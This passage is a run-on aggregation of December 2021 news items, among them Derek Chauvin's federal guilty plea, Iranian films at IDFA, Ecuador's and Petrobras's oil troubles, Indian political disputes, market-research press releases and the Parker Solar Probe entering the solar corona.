notable due to the flat topography of the Great Plains), a nearly perfect set of otherwise harmless ingredients suddenly became a volatile mix of atmospheric terror, according to the report. Enditem Source: Xinhua| 2021-12-16 01:23:43|Editor: huaxia Video Player Close WASHINGTON, Dec. 15 (Xinhua) -- Derek Chauvin, former police officer in U.S. city of Minneapolis, appeared for a change of plea hearing in St. Paul, Minnesota, on Wednesday at which he pleaded guilty to federal charges of violating George Floyd's civil rights. The federal charges accused Chauvin, a white man, of depriving black man Floyd's right to be free from "unreasonable seizure, which includes the right to be free from the use of unreasonable force by a police officer." "Guilty, your honor," Chauvin, dressed in orange short-sleeve prison shirt, said in the court to confirm his pleas. He pleaded not guilty to those charges in September. The federal civil case was on top of a state criminal case where Chauvin was convicted in April of second-degree unintentional murder, third-degree murder and second-degree manslaughter for the killing of Floyd. He was sentenced to 22 and a half years in prison in the state murder case, but may serve only two-thirds of the jail term, or 15 years, and be eligible for supervised release for the remaining seven and a half years, according to Minnesota sentencing guidance. Sentencing for the federal case will be announced on another date, which has not been set by Judge Paul Magnuson of the U.S. District Court in St. Paul, where Wednesday's hearing was held. Federal prosecutors have recommended 300 months, or 25 years, in prison to be served concurrently with Chauvin's sentence on state murder charges. The former police officer at the hearing also admitted guilt in another case in which he was accused of assaulting a then 14-year-old boy during an arrest in 2017. Video footage captured by bystanders showed Chauvin put his knee on Floyd's neck for 9 minutes and 29 seconds on May 25, 2020, while the black man was pinned to the ground, gasping for air and saying "I can't breathe." Three other former officers involved in Floyd's death - Thomas Lane, J. Kueng and Tou Thao - were also indicted on federal charges. Their trial on those charges is scheduled for January, with a state trial on aiding and abetting counts set for March. The brutal killing of Floyd sparked protests across the United States against police brutality and racial injustice. Enditem New York, US (PANA) - The UN Climate Change Conference (COP26), held last month in Glasgow, was defined by a reinvigorated multilateralism, a top UN official said on Tuesday during an online discussion on how the summits outcomes will impact climate action and the Sustainable Development Goals (SDGs) Iranian Docs Honored at IDFA: Jafar Najafi's "Make Up Artist" wins the FIPRESCI Award 12/03/21 Source: Tehran Times Iranian movies "Makeup Artist" and "Water, Wind, Dust, Bread" have been honored at the International Documentary Film Festival Amsterdam (IDFA). "Makeup Artist" by Jafar Najafi won the FIPRESCI Award. "Water, Wind, Dust, Bread" by Mehdi Zamanpur Kiasari received a special mention in the IDFA Competition for Youth Documentary. "Makeup Artist" by Jafar Najafi "Makeup Artist", the winner of the Award of Excellence at the Yamagata International Documentary Film Festival in Japan, is about Mina, a makeup artist who is determined to realize her dreams. She not only refuses to succumb to her husband and mother-in-law's fierce opposition but also paves her own path and pushes forward along it. Gradually, it looks as if the people and world around her are starting to change. "Water, Wind, Dust, Bread" tells the story of 11-year-old Abolfazl who lives with his family in an oasis in the Iranian desert. He picks dates, tends to his family's cows, does his homework, and has fun with his best friend Setayesh. "Water, Wind, Dust, Bread" by Mehdi Zamanpur Kiasari The camera quietly observes their friendship as they swing between the date palms or climb the windswept rocks around the oasis. Abolfazl's mother bakes fresh bread, and tourists come to her guesthouse for the serene atmosphere. But life in the oasis is not entirely idyllic. Although Abolfazl lives with a physical disability, it is Setayesh who faces an even bigger hurdle. She is one of the 40,000 children in Iran who don't have a birth certificate, and as a result, she can't go to school. "Mr. Landsbergis" a co-production of Lithuania and Netherlands by Sergei Loznitsa won the IDFA Award for Best Film in the international section of the festival. The IDFA Award for Best Directing in the International Competition went to Diem Ha Le for "Children of the Mist" from Vietnam. "Handbook" a co-production of Germany and Belarus by Pavel Mozhar won the IDFA Award for Best Short Documentary, while a special mention in this section went to "Wolf Whispers" by Chloe Belloc from France. "I Am Trying to Remember" by Iranian director Pegah Ahangarani had its world premiere in the short documentary section of the festival, while "Tonight's Homework" by Ashkan Nejati went on screen at Luminous Section. In "I Am Trying to Remember", Pegah talks about a man named Gholam, who is always present at her family gatherings. Gholam films these everyday scenes with his own camera. At the time, Pegah can't imagine what the purpose of these films might be, but she's happy to pose before the lens of this family friend, who she's certainly very fond of. It is as if Pegah, the film's director, and chief protagonist, is reading from a children's book; as if we are looking over her shoulder at Gholam's films of the family and the old photos. The large family radiates great warmth as we see them shoveling snow or just sitting around at home. "Tonight's Homework" has been made based on Abbas Kiarostami's 1989 "Homework". In "Homework", Kiarostami put questions to students at a public school: questions about homework, punishments, and dreams of the future. The result was a portrait of the generation that grew up during the Iran-Iraq war, trapped by uncertainty and a rigid upbringing. Now, some 30 years later, directors Nejati and Nematollahi repeat Kiarostami's questions and come to the conclusion that the school system and society itself have changed dramatically. The gulf between rich and poor has grown far wider, and that has become evident in the schools. Parents, many of whom are illiterate, are unable to help their young ones, or otherwise too busy with their careers to supervise homework. Any sense of interest or guidance is absent. Two now-adult subjects of Kiarostami's film agree that there's something fundamentally wrong with the way responsibilities get dumped on the shoulders of teachers. The only thing that's unchanged is the way the children reply in the approved manner-yes, of course, they've done their homework. Related Video: Bradwell's antiwar play "There Is No Return" on stage at Tehran theater 12/15/21 Source: Tehran Times New Zealand dramatist Eric Bradwell's play "There Is No Return" on the aftermath of wars is being performed in the form of a stage reading at the Javanmard Hall of the Iranian Theater Forum. See more info and schedule The story of the play is about the Forrester family, who assume they have lost their eldest son in the war. Every year on his birthday, the mother lights a candle in her son's memory and places it near his photo in their home. However, his brother Gerald and sister Jodith know very little about their presumably deceased brother. Meanwhile, the warrior who had been assumed to have been dead by the family returns home from a sanatorium on his birthday. Regrettably, the soldier is blind and has lost his memory. While Gerald wants to banish him from their home, Jodith is impressed from talking with him, as she sees a resemblance between him and the photo in their home. But in the end, after having been seen by his entire family, the soldier departs unrecognized. "People from every walk of life are deeply affected by the impacts of wars," director Bahman Vakhshour told the Tehran Times before staging the first reading on Tuesday night. "As with my previous works, through this play, I intend once again to present the ugly image of war," he added. Vakhshour also plays the role of Philip Forrester, the father of the family, while Mona Dabir-Aslani, Fariba Qolibaklu, Sajjad Qatei, Sayeh Kabiri and Sadeq Vafai are other members of the cast. The troupe has previously performed a radio adaptation of the play, which has been translated by Hushang Hesami. They will perform two more readings on Wednesday and Thursday. The play has previously been performed by several other Iranian groups. Mehdi Mayami directed the play for three weeks at the Entezami Hall of the Iranian Artists Forum in October and November 2016. Ecuador calls force majeure on oil contracts as erosion imperils pipelines Tito Correa/Reuters Workers lay new pipelines for crude oil, in San Luis, Ecuador - Oilfields to stop some production as storage space running out - Its the third force majeure since pipes snapped in April 2020 By Stephan Kueffner / Bloomberg News QUITO Petroleumworld 12 15 2021 Ecuador declared force majeure on all oil contracts, including exports and imports, as the threat of soil erosion forced the shutdown of the countrys two pipelines that transport crude across the Andes. The clause, which is invoked to remove liability from failing to honor contracts in the event of disasters, went into effect on Sunday, according to a statement on the website of state-owned oil producer Petroecuador. The countrys Trans-Ecuadorian Pipeline System and Heavy Crude Pipeline, as well as the Shushufindi-Quito petroleum products pipeline, had to be shut. Ecuadors third force majeure on oil contracts since the two Andean pipelines snapped last year deals a blow to President Guillermo Lasso, who aims to overcome years of stagnant production in the former OPEC member and more than double output to near 1 million barrels a day. River erosion near pipeline infrastructure has accelerated since the nearby Coca-Codo Sinclair hydro-electric power plant was inaugurated in late 2016. A landslide in April 2020 severed both crude pipelines, triggering spills and a temporary output cut of almost 60%. International agencies, including the U.S. Army Corps of Engineers, are working to help find a solution to slow the damage from the aggressive erosion. Petroecuador has begun to shut down production in several fields because the oil cant be transported and it has limited storage space. The company owns the Trans-Ecuadorian pipeline, known as SOTE, while the other line, known as OCP, is owned by a consortium of oil companies. Emergency bypasses are under construction to allow oil pumping to resume. Petroecuador currently has sufficient fuel stocks to supply the domestic market, according to the statement. The countrys crude output as of Dec. 9 was 482,000 barrels a day, according to the oil and mining regulator. Ecuador exported about 345,000 barrels a day of crude in October, while importing roughly 112,000 a day, based on the latest available data from the central bank. The country imported around 110,000 barrels a day of gasoline and diesel in November, 66% of which came from the U.S., according to estimates from oil analytics firm Vortexa. Petroecuador was due to award a term tender on Monday to purchase 11 cargoes of diesel for delivery starting December. Petrobras higher price demands delay refineries sales- sources Ueslei Marcelino/Reuters A worker paints a tank of Brazil's state-run Petrobras oil company in Brasilia, Brazil By Tatiana Bautzer and Rodrigo Viga Gaier, Carolina Mandl / Reuters SAO PAULO/ RIO DE JANEIRO Petroleumworld 12 15 2021 Brazil's state-controlled oil company Petrobras (PETR4.SA) has raised prices at least once in the middle of the divestiture process of its largest refineries, frustrating some bidders and delaying the long awaited promise of breaking Petrobras' monopoly in refining, four sources with knowledge of the matter told Reuters. Bidders were surprised by what they describe as last-minute changes in the divestiture process demanded by Petroleo Brasileiro SA, as the company is formally known, the sources added, asking for anonymity to disclose private discussions with Brazil's largest state-run company. Petrobras, which used to control almost 100% of refining in Brazil, has committed to reduce its capacity by 50% selling eight of its 13 refineries after a deal in June 2019 with antitrust watchdog CADE to introduce competition in fuel pricing. But so far it sold only three and a reduction in political pressures to artificially set fuel prices seems remote. The sources said pricing changes, together with a paucity of buyer interest partially fueled by pressure from investors worried about ESG targets against buying fossil fuel assets,have plagued the sale of at least two of Petrobras' largest refineries on sale, REFAP and REPAR. Petrobras has yet to restart the sale process of REFAP and REPAR, which have capacities of 201,280 barrels per day and 207,563 bpd respectively, producing 17.8% of Brazil's fuel output, according to oil regulator ANP data. In July, Cade extended a deadline for Petrobras to sell the eight refineries it had committed to divest to Dec. 31, but Petrobras has publicly admitted the deadline will not be met. On Nov. 30, Chief Financial Officer Rodrigo Araujo said Petrobras was unlikely to sell REPAR and REFAR before the October 2022 presidential elections. In a statement to Reuters, Petrobras said it is "fully committed" to the sale of all eight of the refineries included in the agreement with Cade. Petrobras will try again to sell three refineries that had their processes canceled, REFAP,REPAR and RNEST. The company is proceeding with the divestitures of LUBNOR, a 8,000-bpd refinery in the northeastern region that produces only asphalt and lubricants, and 150,00-bpd REGAP, located in the state of Minas Gerais, representing 7.1% of total refining capacity. TALKS BREAKDOWN Brazilian conglomerate Ultrapar Participacoes (UGPA3.SA) had been in talks with Petrobras since January to acquire the REFAP refinery, which accounts for 7.7% of total Brazilian refining capacity and is located in the southern state of Rio Grande do Sul. But since the beginning of the talks, Petrobras had been trying to get a higher price, and in September, it decided to ask for a higher bid, two sources with knowledge of the matter said. Ultrapar representatives, who thought they had already secured a price and were discussing contract details, rejected the request and left the talks. Petrobras announced the talks failure on Oct.1. read more Ultrapar declined to comment on the matter. Petrobras declined to comment on specifically asking for a higher price for REFAP. read more Something different happened with REPAR, a refinery located in the southern state of Parana that concentrates 10.1% of Brazil's refining capacity, according to ANP data. Raizen (RAIZ4.SA), a joint venture of Royal Dutch Shell(RDSa.L) and Brazilian energy company Cosan (CSAN3.SA), had expressed interest in the asset. Raizen delivered a bid above the initially set minimum price, but Petrobras then raised the price and rejected the bid as too low. Raizen declined to raise its offer, no other bidders emerged and in February, Petrobras said in a statement it would not sell REPAR as it considered bids too low. Raizen declined to comment. read more "There was no rule change during the sale process," Petrobras said in a response to Reuters questions about the mater. But a fifth source familiar with the divestiture said "different variables define the price and they are usually updated". Since Petrobras launched the refineries sale process more than two years ago, global benchmark Brent crude has soared about $10 to $73 on Tuesday. Negotiations for REGAP also appear to be stalled. Petrobras asked for non-binding offers that were delivered in November 2019. At least one bidder, private equity firm EIG Global Energy Partners, delivered a bid, but negotiations did not progress, according to a sixth person with knowledge of the matter. EIG declined to comment on the matter. SLOW DIVESTITURE So far, Petrobras has sold three refineries. The largest one is RLAM refinery, in the northeastern state of Bahia with 330,000 bpd capacity, which represents 14% of Brazilian refining capacity, to United Arab Emirates investor Mubadala Investment Co for $1.8 billion. Other very small refineries in the northern region were also sold: 46,000 bpd REMAN to Brazilian regional group Atem and 6,000-bpd SIX to Forbes & Manhattan Resources. But the assets sold so far are insufficient to influence prices in the domestic fuel market. As the asset sales drag on, demand for refineries is dwindling. Several of them fetched a single offer and there was no-one interested in RNEST, in the northeastern state of Pernambuco. After the failure of the sale, Petrobras announced that will invest in the 115,000-bpd RNEST refinery and raise its capacity to 260,000 bpd in 2027. If you were looking for the Charlestown Democratic Town Committee website and ended up here, try this Got news tips, gossip, suggestions, complaints?E-mail us: progressivecharlestown@gmail.com We strive to avoid errors in our articles. Our correction policy can be found here A Place for All Conservatives to Speak Their Mind. Congress MP Rahul Gandhi on Wednesday alleged that he was not being allowed to speak in the Lok Sabha on the issue of Lakhimpur Kheri incident in the light of new revelation made by the SIT. Speaking after the adjournment of Lok Sabha till 2 p.m., Rahul said, "They are not allowing us to speak that is why the House is being disrupted." "The report has come and their minister is involved, so there should be discussion on it," he added Congress MPs on Wednesday moved several adjournment notices in the Lok Sabha seeking a discussion on the Lakhimpur Kheri incident and removal of Minister of state Ajay Misra Teni after SIT report termed the violence "pre-planned". Rahul Gandhi, along with party chief whip K. Suresh and Manickam Tagore moved the notices to press for the removal of Teni, whose son had allegedly mowed down four farmers while they were protesting agaisnt the three contentious farm laws in Uttar Pradesh's Lakhimpur Kheri on October 3. Uttar Pradesh Chief Minister Yogi Adityanath on Wednesday accused the Samajwadi Party ' title=' Samajwadi Party '>Samajwadi Party of being biased towards a specific caste. The Chief Minister pointed out that when the recruitment process is compromised on the lines of caste and money, the state has to suffer worse consequences. Comparing the Samajwadi Party ' title=' Samajwadi Party '>Samajwadi Party with the characters of Mahabharata, he said that as 'Kaka-Mama-Nana' completely halted the progress of India during Mahabharata, in the same way, this family (Samajwadi Party) remained an impediment to the progress of the state. Stating that the corruption and nepotism in recruitments are things of the past, he said: "During Akhilesh Yadav's tenure as Uttar Pradesh Chief Minister, recruitment used to take place on the basis of caste and money, without looking at the merit. There was always casteism-nepotism in appointments. When the result of deputy collector was declared under the SP rule, out of 86, the names of 56 people belonged to the same particular caste." The chief minister was speaking at a function here to launch 'Akansha Peti' (aspiration box) under the 'Sujhav Aapka Sankalp Hamara' programme. For the 2022 assembly elections, the BJP will keep the 'Akansha Peti' at 30,000 places in the village and urban areas of the state. Escalating the attack on the erstwhile Samajwadi government, Yogi Adityanath stated: "Between 2012 and 2017, appointments to government posts in UP were distributed among the members of a family. One appointment process was looked after by an uncle and the other was allotted to a nephew, maternal uncle, or maternal grandfather." "Before 2017, people used to point fingers at Uttar Pradesh but today under BJP's rule, Uttar Pradesh has undergone a complete transformation and its perception before the country and across the globe has changed," he said. Asserting that development has never been the agenda of the previous government, he said that before 2017, there were two expressways in Uttar Pradesh. There was no Metro in any city. Today, the state has constructed many highways and expressways. The family of a robbery suspect on Wednesday alleged that Delhi Police personnel staged a dog fight at their residence located in Rohini area of the city, in which their pet dog was severely wounded and later succumbed to its injuries. The suspect's family has released a video of the incident which went viral on social media. According to the family, the incident took place on December 8 when around 10-12 people, of which some were in police uniform, barged into their residence at around 10-11 p.m. "On seeing visitors at late hours, our pet dog started barking at the cops, to which they responded by bringing their own dog, and staged a dog fight at our residence," read the complaint filed by the family. The kin also accused cops of misbehaving with the female members of the suspect's family. However, Delhi Police sources told IANS that on the night of December 8, cops went to apprehend a robbery suspect, identified as Prince Gill, who had recently committed a robbery in the same locality. "He had robbed a man at gunpoint just a few days ago," a source said. The source informed that when they reached the house of the suspect, the family was not even opening the door to let them enter. "The robbery suspect was present inside the house but the family was repeatedly denying it," the source added. Later, they entered the house after much effort and apprehended the robbery accused. To the claims of the suspect's family of cops staging a dog fight, the source responded that the robbery suspect's pet dog was ferocious and the family was letting it loose on the police personnel. Sources also claimed the suspect was a repeat offender and it was not the first time he had robbed someone. As the matter reached the higher ups, a probe was ordered. Later, the Metropolitan Magistrate of Rohini Court also ordered an inquiry to be conducted by Joint CP, Northern range of the Delhi Police. Edison, NJ -- (SBWIRE) -- 12/15/2021 -- The Latest research study released by HTF MI "Global Blockchain Supplychain Market" with 100+ pages of analysis on business Strategy taken up by key and emerging industry players and delivers know how of the current market development, landscape, technologies, drivers, opportunities, market viewpoint and status. Understanding the segments helps in identifying the importance of different factors that aid the market growth. Some of the Major Companies covered in this Research are Oracle, SAP SE, Microsoft, IBM, Intel, NVIDIA, Wipro, Huawei etc. Click here for free sample + related graphs of the report @: https://www.htfmarketreport.com/sample-report/3740123-global-blockchain-supplychain-market-4 Browse market information, tables and figures extent in-depth TOC on "Blockchain Supplychain Market by Application (Retail, Oil & Gas, Healthcare, IT & Telecom), by Product Type (Public Blockchain, Private Blockchain & Consortium Blockchain), Business scope, Manufacturing and Outlook Estimate to 2025". for more information or any query mail at sales@htfmarketreport.com At last, all parts of the Global Blockchain Supplychain Market are quantitatively also subjectively valued to think about the Global just as regional market equally. This market study presents basic data and true figures about the market giving a deep analysis of this market based on market trends, market drivers, constraints and its future prospects. The report supplies the worldwide monetary challenge with the help of Porter's Five Forces Analysis and SWOT Analysis. If you have any Enquiry please click here @: https://www.htfmarketreport.com/enquiry-before-buy/3740123-global-blockchain-supplychain-market-4 Customization of the Report: The report can be customized as per your needs for added data up to 3 businesses or countries or 2 analyst hours. On the basis of report- titled segments and sub-segment of the market are highlighted below: Global Blockchain Supplychain Market By Application/End-User (Value and Volume from 2021 to 2026) : Retail, Oil & Gas, Healthcare, IT & Telecom Market By Type (Value and Volume from 2021 to 2026) : , Public Blockchain, Private Blockchain & Consortium Blockchain Global Blockchain Supplychain Market by Key Players: Oracle, SAP SE, Microsoft, IBM, Intel, NVIDIA, Wipro, Huawei Geographically, this report is segmented into some key Regions, with manufacture, depletion, revenue (million USD), and market share and growth rate of Blockchain Supplychain in these regions, from 2015 to 2026 (forecast), covering China, USA, Europe, Japan, Korea, India, Southeast Asia & South America and its Share (%) and CAGR for the forecasted period 2021 to 2026. Informational Takeaways from the Market Study: The report Blockchain Supplychain matches the completely examined and evaluated data of the noticeable companies and their situation in the market considering impact of Coronavirus. The measured tools including SWOT analysis, Porter's five powers analysis, and assumption return debt were utilized while separating the improvement of the key players performing in the market. Key Development's in the Market: This segment of the Blockchain Supplychain report fuses the major developments of the market that contains confirmations, composed endeavors, R&D, new thing dispatch, joint endeavours, and relationship of driving members working in the market. To get this report buy full copy @: https://www.htfmarketreport.com/buy-now?format=1&report=3740123 Some of the important question for stakeholders and business professional for expanding their position in the Global Blockchain Supplychain Market: Q 1. Which Region offers the most rewarding open doors for the market Ahead of 2021? Q 2. What are the business threats and Impact of latest scenario Over the market Growth and Estimation? Q 3. What are probably the most encouraging, high-development scenarios for Blockchain Supplychain movement showcase by applications, types and regions? Q 4.What segments grab most noteworthy attention in Blockchain Supplychain Market in 2020 and beyond? Q 5. Who are the significant players confronting and developing in Blockchain Supplychain Market? For More Information Read Table of Content @: https://www.htfmarketreport.com/reports/3740123-global-blockchain-supplychain-market-4 Key poles of the TOC: Chapter 1 Global Blockchain Supplychain Market Business Overview Chapter 2 Major Breakdown by Type [, Public Blockchain, Private Blockchain & Consortium Blockchain] Chapter 3 Major Application Wise Breakdown (Revenue & Volume) Chapter 4 Manufacture Market Breakdown Chapter 5 Sales & Estimates Market Study Chapter 6 Key Manufacturers Production and Sales Market Comparison Breakdown .. Chapter 8 Manufacturers, Deals and Closings Market Evaluation & Aggressiveness Chapter 9 Key Companies Breakdown by Overall Market Size & Revenue by Type .. Chapter 11 Business / Industry Chain (Value & Supply Chain Analysis) Chapter 12 Conclusions & Appendix Thanks for reading this article; you can also get individual chapter wise section or region wise report version like North America, LATAM, Europe or Southeast Asia. Contact US : Craig Francis (PR & Marketing Manager) HTF Market Intelligence Consulting Private Limited Unit No. 429, Parsonage Road Edison, NJ New Jersey USA 08837 Phone: +1 (206) 317 1218 sales@htfmarketreport.com Northbrook, IL -- (SBWIRE) -- 12/15/2021 -- According to a new market research report "Customer Experience Management Market with COVID-19 Impact, by Component (Solutions, Services), Touchpoint, Deployment Type, Organization Size, Vertical (Travel and Hospitality, BFSI, Retail, Healthcare, IT and Telecom), and Region - Global Forecast to 2026" published by MarketsandMarkets, the Customer Experience Management Market size to grow from USD 9.5 Billion in 2021 to USD 16.9 Billion by 2026, at a Compound Annual Growth Rate (CAGR) of 12.3% during the forecast period. CEM has changed the way organizations interact with their employees and customers. It provides insights for day-to-day decision-making, thereby resulting in enhanced operational efficiency, optimized business outcomes, and increased customer satisfaction. The transformation enables innovation and creativity in a particular domain, rather than simply improving and supporting traditional methods. CEM is rapidly gaining traction as enterprises seek solutions, technologies, and platforms to transform operating processes and business models. For example, online services are now firmly established in the banking and financial sectors, resulting in the proliferation of online activities and websites. Browse in-depth TOC on "Customer Experience Management Market" 312- Tables 54- Figures 282- Pages Download PDF Brochure @ https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=543 The services to record a higher growth rate during the forecast period In the customer experience management market by component, the services is expected to record a higher growth rate during the forecast period. The overall services segment has a major influence on the customer experience management market's growth. These services assist end users in reducing overall costs, increasing overall revenues, and improving business performance. With the help of these services, organizations can track, evaluate, and analyze the requirements of their business to make better-informed decisions. Large Enterprises are expected to hold a larger market share during the forecast period By Organization size, large enterprises are expected to hold the largest market size during the forecast period, as compared to SMEs. Large enterprises deploy CEM solutions to enhance their CE and satisfaction. Large enterprises encompass distributed data related to customers scattered across different departments and are, hence, opting for cloud-based CEM solutions to gain valuable insights from this data. The adoption of CEM solutions helps large enterprises enhance customer interaction and loyalty. Large enterprises are keen on investing in new and latest technologies such as artificial intelligence (AI), big data, and machine learning to automate the customer engagement process. Cloud deployment mode is expected to have a higher growth rate during the forecast period By Deployment Mode, cloud is expected to have a higher growth rate in 2021, compared to on-premises deployment mode. Cloud-based CE solutions are preferred over traditional systems as they are effective and compatible in addressing the rising level of customer expectations. Besides reducing costs associated with upgrading and updating CE solutions, cloud deployments also help organizations integrate technologies to provide a better CE to their customers. Healthcare sector is expected to have a higher growth rate during the forecast period By Verticals, Healthcare sector is expected to have a higher growth rate during 2021-2026. In the healthcare vertical, consumer expectations and demographics evolve and influence the desire to seek more detailed information about their health. A great difficulty comes when there is a mismatch between the different communication channels consumers use and the limited ways with which healthcare organizations can interact with customers. Many consumers expect a different experience and set of interactions with their health care providers than they have in the past, and this is a fact across age groups and customer segments. If health care providers do not completely use the customer-driven encounters, they can be at a high risk of losing their market share. North America to hold the largest market size during the forecast period North America is expected to hold the largest market size in the global customer experience management market during the forecast period. The region constitutes developed economies, such as the US and Canada, which have fairly adopted the latest instruments in domains such as customer data analytics and real-time reporting, besides incorporating advanced technologies such as machine learning and AI; this makes organizations in these economies excel in the customer experience management market space. North America is a front-runner when talking about digital advancement and technology adoption. Speak to Research Expert @ https://www.marketsandmarkets.com/speaktoanalystNew.asp?id=543 The key and emerging market players in the customer experience management market include Adobe (US), IBM (US), Oracle (US), Avaya (US), Nice (Israel), Nokia (Finland), SAP (Germany), OpenText (Canada), Tech Mahindra (India), Verint Systems (US), Zendesk (US), Teradata (US), Sprinklr (US), Medallia (US), InMoment (US), SAS (US), Clarabridge (US), Sitecore (US), NGDATA (Belgium), Amperity (US), Mixpanel (US), Segment.io (US), ZephyrTel (US), MindTouch (US), Algonomy (US), and SoGoSurvey (US). These players have adopted several organic and inorganic growth strategies, including new product launches, partnerships and collaborations, and acquisitions, to expand their offerings and market shares in the global customer experience management market. About MarketsandMarkets MarketsandMarkets provides quantified B2B research on 30,000 high growth niche opportunities/threats which will impact 70% to 80% of worldwide companies' revenues. Currently servicing 7500 customers worldwide including 80% of global Fortune 1000 companies as clients. Almost 75,000 top officers across eight industries worldwide approach MarketsandMarkets for their painpoints around revenues decisions. Our 850 fulltime analyst and SMEs at MarketsandMarkets are tracking global high growth markets following the "Growth Engagement Model GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors. MarketsandMarkets now coming up with 1,500 MicroQuadrants (Positioning top players across leaders, emerging companies, innovators, and strategic players) annually in high growth emerging segments. MarketsandMarkets is determined to benefit more than 10,000 companies this year for their revenue planning and help them take their innovations/disruptions early to the market by providing them research ahead of the curve. MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledge Store" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets. Contact: Mr. Aashish Mehra MarketsandMarkets INC. 630 Dundee Road Suite 430 Northbrook, IL 60062 USA: 1-888-600-6441 Email: sales@marketsandmarkets.com MnM Blog: https://mnmblog.org Content Source: https://www.marketsandmarkets.com/PressReleases/customer-experience-management.asp Northbrook, IL -- (SBWIRE) -- 12/15/2021 -- According to the new market research report "Western Blotting Market by Product, (Consumables (Antibody), Instrument (Electrophoresis, Blotting System, Imager (Fluorescent))), Application (Biomedical, Clinical Diagnostics), End User (Research Institute, Hospital, Biopharma) - Global Forecast to 2026", published by MarketsandMarkets, is projected to reach USD 1.4 billion by 2026 from USD 1.0 billion in 2021, at a CAGR of 6.7% during the forecast period. Browse in-depth TOC on "Western Blotting Market" 312 Tables 38 Figures 275 Pages Download PDF Brochure: https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=235810711 Technological advancements, increasing government funding in the field of biomedical research, growing demand for personalized medicine, and the rising prevalence of HIV are the key factors driving the market growth. The semi-dry blotting systems segment accounted for the largest share of the blotting systems segment in the western blotting market in 2020. Based on instruments, the western blotting market is segmented into gel electrophoresis instruments, blotting systems, and imagers. The blotting systems used in the western blotting process are subsegmented into wet and semi-dry blotting systems. In 2020, the semi-dry blotting systems segment accounted for the largest share of the market. Factors contributing to market growth include minimal usage of buffers during the process and rapid transfer of proteins from gels to membranes. Request Sample Pages: https://www.marketsandmarkets.com/requestsampleNew.asp?id=235810711 The reagents & buffers segment accounted for the largest share of the consumables segment in the western blotting market in 2020. Based on type, the western blotting consumables market is segmented into reagents & buffers, antibodies & conjugates, kits, membranes & filter papers, and other consumables. In 2020, reagents & buffers accounted for the largest share of the western blotting consumables market. The large share and growth of these consumables can primarily be attributed to their repeated use and higher consumption during the western blotting process. The Asia Pacific region is the fastest-growing region of the western blotting market in 2020. In 2020, the Asia Pacific region accounted for the fast growing region of the western blotting market. The major factors driving the growth of the Asia Pacific market include strong government support for the growth of the pharmaceutical and biotechnology industry, the presence of bio clusters in China and India, increasing funding for life science research, and growing initiatives related to target disease diagnosis. Speak to Analyst: https://www.marketsandmarkets.com/speaktoanalystNew.asp?id=235810711 Some of the leading players operating in the western blotting market are Bio-Rad Laboratories, Inc. (US), Thermo Fisher Scientific (US), Danaher Corporation (US), Bio-Techne Corporation (US), and Merck KGaA (Germany). The high temperatures and strong magnetic fields of the Suns upper atmosphere the corona form streams of the solar wind that expand through the Solar System into interstellar space. On April 28, 2021, NASAs Parker Solar Probe entered this region about 13 million km (8 million miles) above the solar photosphere. Parker Solar Probe launched in 2018 to explore the mysteries of the Sun by traveling closer to it than any spacecraft before. Three years after launch and decades after first conception, the probe has finally arrived. Unlike Earth, the Sun doesnt have a solid surface. But it does have a superheated atmosphere, made of solar material bound to the Sun by gravity and magnetic forces. As rising heat and pressure push that material away from the Sun, it reaches a point where gravity and magnetic fields are too weak to contain it. That point, known as the Alfven critical surface, marks the end of the solar atmosphere and beginning of the solar wind. Solar material with the energy to make it across that boundary becomes the solar wind, which drags the magnetic field of the Sun with it as it races across the Solar System, to Earth and beyond. Importantly, beyond the Alfven critical surface, the solar wind moves so fast that waves within the wind cannot ever travel fast enough to make it back to the Sun severing their connection. Until now, solar astronomers were unsure exactly where the Alfven critical surface lay. Based on remote images of the corona, estimates had put it somewhere between 10 to 20 solar radii from the surface of the Sun 6.9 to 13 million km (4.3-8.6 million miles). Parkers spiral trajectory brings it slowly closer to the Sun and during the last few passes, the spacecraft was consistently below 20 solar radii (91% of Earths distance from the Sun), putting it in the position to cross the boundary if the estimates were correct. On April 28, 2021, during its eighth flyby of the Sun, Parker Solar Probe encountered the specific magnetic and particle conditions at 18.8 solar radii above the solar surface that told scientists it had crossed the Alfven critical surface for the first time and finally entered the solar atmosphere. Parker Solar Probe touching the Sun is a monumental moment for solar science and a truly remarkable feat, said Dr. Thomas Zurbuchen, the associate administrator for the Science Mission Directorate at NASA Headquarters. Not only does this milestone provide us with deeper insights into our Suns evolution and its impacts on our Solar System, but everything we learn about our own star also teaches us more about stars in the rest of the Universe. Flying so close to the Sun, Parker Solar Probe now senses conditions in the corona that we never could before, said Parker project member Dr. Nour Raouafi, a researcher at the Johns Hopkins Applied Physics Laboratory. We see evidence of being in the corona in magnetic field data, solar wind data, and visually in images. We can actually see the spacecraft flying through coronal structures that can be observed during a total solar eclipse. We were fully expecting that, sooner or later, we would encounter the corona for at least a short duration of time. But it is very exciting that weve already reached it, said Professor Justin Kasper, a researcher at the University of Michigan and deputy chief technology officer at BWX Technologies, Inc. A paper on the findings was published in the journal Physical Review Letters. _____ J.C. Kasper et al. 2021. Parker Solar Probe Enters the Magnetically Dominated Solar Corona. Phys. Rev. Lett 127 (25): 255101; doi: 10.1103/PhysRevLett.127.255101 Page Content The Government of Sint Maarten hereby makes it known that it does not endorse nor support the participation of Ms. Lara Mateo at the 70th Miss World Festival which began on November 21st and ends on December 16th in Puerto Rico. Upon investigation of the circumstances surrounding the selection of Ms. Lara Mateo as representative of Sint Maarten at the Miss World, it is clear that no Government Ministry nor Department was involved in or requested to give input in this matter as required. The processing and selection of a potential candidate for such an international pageant are customarily held by a private organization that holds the pageant license. Under normal circumstances, the license holder usually seeks the endorsement and or support of the Government of Sint Maarten prior to attending such an international event. In this instance, it has been ascertained that the license holder was not consulted and was not involved in the process of identifying nor sending Ms. Mateo to compete in the Miss World pageant scheduled to take place this week. The Government of Sint Maarten has dispatched a letter to Miss World Limited to unequivocally denounce the participation of Ms. Mateo as no endorsement of this candidate has taken place and questions the vetting process of the organization. Government intends to implement and publicize the necessary policies that will ensure all intended participants attending international events representing Sint Maarten have the required endorsement prior to embarking on such a journey to prevent such an incident from happening in the future. The Western Container Terminal will cut the cost of goods transported through cargo containers from India to the West by 15 to 20 per cent by Ashok K Mehta Sri Lanka is going through a rough patch: COVID pandemic lows, national food emergency and fertiliser hiccups amid a foreign 